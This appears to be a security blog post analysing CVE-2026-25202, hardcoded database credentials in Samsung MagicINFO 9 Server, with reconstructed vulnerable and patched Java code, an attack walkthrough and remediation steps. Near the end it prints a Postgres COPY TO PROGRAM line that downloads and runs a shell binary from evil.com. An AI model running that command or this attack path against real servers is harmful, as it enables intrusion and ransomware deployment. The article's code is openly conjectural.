MagicINFO's Open Secret: A Deep Dive into CVE-2026-25202

Walk into any airport, shopping mall, or corporate lobby, and you are likely staring at a Samsung display. Behind those glossy 4K screens running ads for overpriced cologne or flight schedules lies a brain: the Samsung MagicINFO Server. It is the central nervous system for digital signage, allowing administrators to push content, schedule playlists, and manage device firmware remotely. It is a powerful piece of enterprise software. It is also, apparently, built with the security best practices of a 1990s Geocities guestbook.

CVE-2026-25202 is not a complex heap overflow or a subtle race condition in the kernel. It is the digital equivalent of taping your house key to the front door with a sign that says 'Key Here'. We are talking about Hardcoded Credentials (CWE-798). The developers decided that managing database authentication dynamically was too much hassle, so they embedded the master username and password directly into the application code.

Why does this matter? Because MagicINFO servers are often exposed to the internet to allow remote management of geographically distributed displays. If you can talk to the server, and you have the universal skeleton key that works on every single installation of MagicINFO 9, you own the network. You control what the world sees.

The root cause here is an architectural shortcut that persists in enterprise software with alarming frequency. The MagicINFO server requires a backend database—typically PostgreSQL or Microsoft SQL Server—to store device configurations, user accounts, and content schedules. Ideally, during installation, the server should generate a random password, store it in a secured configuration file (like a vaulted web.xml or encrypted registry key), and use that for connections.

Instead, Samsung engineers seemingly hardcoded the database credentials. This means that inside the compiled Java classes (likely .class files within a .jar or .war archive) or a configuration file shipping with the installer, there sits a string literal. It likely looks something like String dbUser = "mi_admin"; and String dbPass = "S@msungMagic9!";.

Because the credentials are part of the software distribution, they are identical for every customer. A security researcher—or a malicious actor—doesn't need to hack your specific server to get the password. They just need to download the free trial of MagicINFO 9, run strings on the binary, or decompile the Java bytecode. Once extracted, that single username and password pair becomes a weaponized payload against every unpatched server on the planet.

Let's take a look at what this likely looks like in the wild. While we won't publish the exact credentials (the patch is out, but let's be responsible professionals), we can reconstruct the vulnerability pattern based on standard Java Spring/Tomcat architectures used by MagicINFO.

In a vulnerable version (< 21.1090.1), you might find a DatabaseConfiguration class or a jdbc.properties file embedded in the classpath:

// VULNERABLE CODE PATTERN
@Configuration
public class DataSourceConfig {
    
    @Bean
    public DataSource dataSource() {
        DriverManagerDataSource dataSource = new DriverManagerDataSource();
        dataSource.setDriverClassName("org.postgresql.Driver");
        dataSource.setUrl("jdbc:postgresql://localhost:5432/magicinfo");
        // The fatal flaw: Static strings
        dataSource.setUsername("mi_sys_admin"); 
        dataSource.setPassword("HardCoded_Magic_2025!"); 
        return dataSource;
    }
}

In the patched version (21.1090.1), Samsung had to refactor this to read from a localized, installation-specific source. The code diff would look significantly more robust, shifting responsibility to the environment:

// PATCHED CODE PATTERN
@Configuration
public class DataSourceConfig {
    
    @Value("${magicinfo.db.username}")
    private String dbUser;
 
    @Value("${magicinfo.db.password}")
    private String dbPass;
 
    @Bean
    public DataSource dataSource() {
        // Now pulling from an external, encrypted config file
        DriverManagerDataSource dataSource = new DriverManagerDataSource();
        dataSource.setUsername(decryptionService.decrypt(dbUser));
        dataSource.setPassword(decryptionService.decrypt(dbPass));
        return dataSource;
    }
}

This change forces the credentials to be unique per installation and managed outside the immutable binary. It turns a universal exploit into a localized configuration detail.

Exploiting this is trivially easy once the credentials are known. The attack path assumes the database port is accessible, which is common in flat corporate networks or misconfigured cloud deployments.

Step 1: Reconnaissance The attacker scans for MagicINFO servers. A simple Shodan query might look for the default web ports (7001) or the database ports (5432 for Postgres) associated with the MagicINFO fingerprint.

Step 2: Connection Armed with the static credentials extracted from the binary (let's call them mi_admin / StaticPass), the attacker connects directly using standard tools. No exploit code or buffer overflow is needed.

# connecting to the victim DB
psql -h target-magicinfo-server.com -U mi_admin -d magicinfo
Password for user mi_admin: [Enters StaticPass]
 
psql (13.4)
Type "help" for help.
 
magicinfo=# 

Step 3: Escalation and Impact Once inside the SQL shell, the attacker is God.

1. Defacement: Update the content_schedule table to point to a malicious URL or an image hosted by the attacker. Suddenly, every screen in the airport is displaying offensive content.
2. RCE (Remote Code Execution): If the database is running with high privileges (often the case on Windows), the attacker can use features like xp_cmdshell (MSSQL) or COPY FROM PROGRAM (Postgres) to execute OS commands.

-- Hypothetical RCE via Postgres
COPY (SELECT '') TO PROGRAM 'powershell.exe -c "iwr http://evil.com/shell.exe -OutFile C:\Windows\Temp\shell.exe; C:\Windows\Temp\shell.exe"';

This turns the signage server into a beachhead for ransomware deployment across the entire corporate network.

The remediation is straightforward but mandatory: Upgrade to MagicINFO 9 Server version 21.1090.1 immediately. This patch purges the hardcoded strings and implements a dynamic authentication mechanism.

However, patching the binary is only half the battle. If your server was exposed to the internet prior to patching, you must assume the database has been compromised.

Defensive Strategy:

1. Patch: Apply the vendor update.
2. Rotate Secrets: The patch might stop future use of the hardcoded password, but if you don't change the actual database password on the backend service (Postgres/SQL Server), a persistent attacker might still get in. Manually reset the database user passwords.
3. Network Isolation: Why is your database port listening on 0.0.0.0? Bind it to localhost or use strict firewall rules to allow access only from the application server itself. There is almost zero valid reason for a Digital Signage DB to be reachable from the public internet.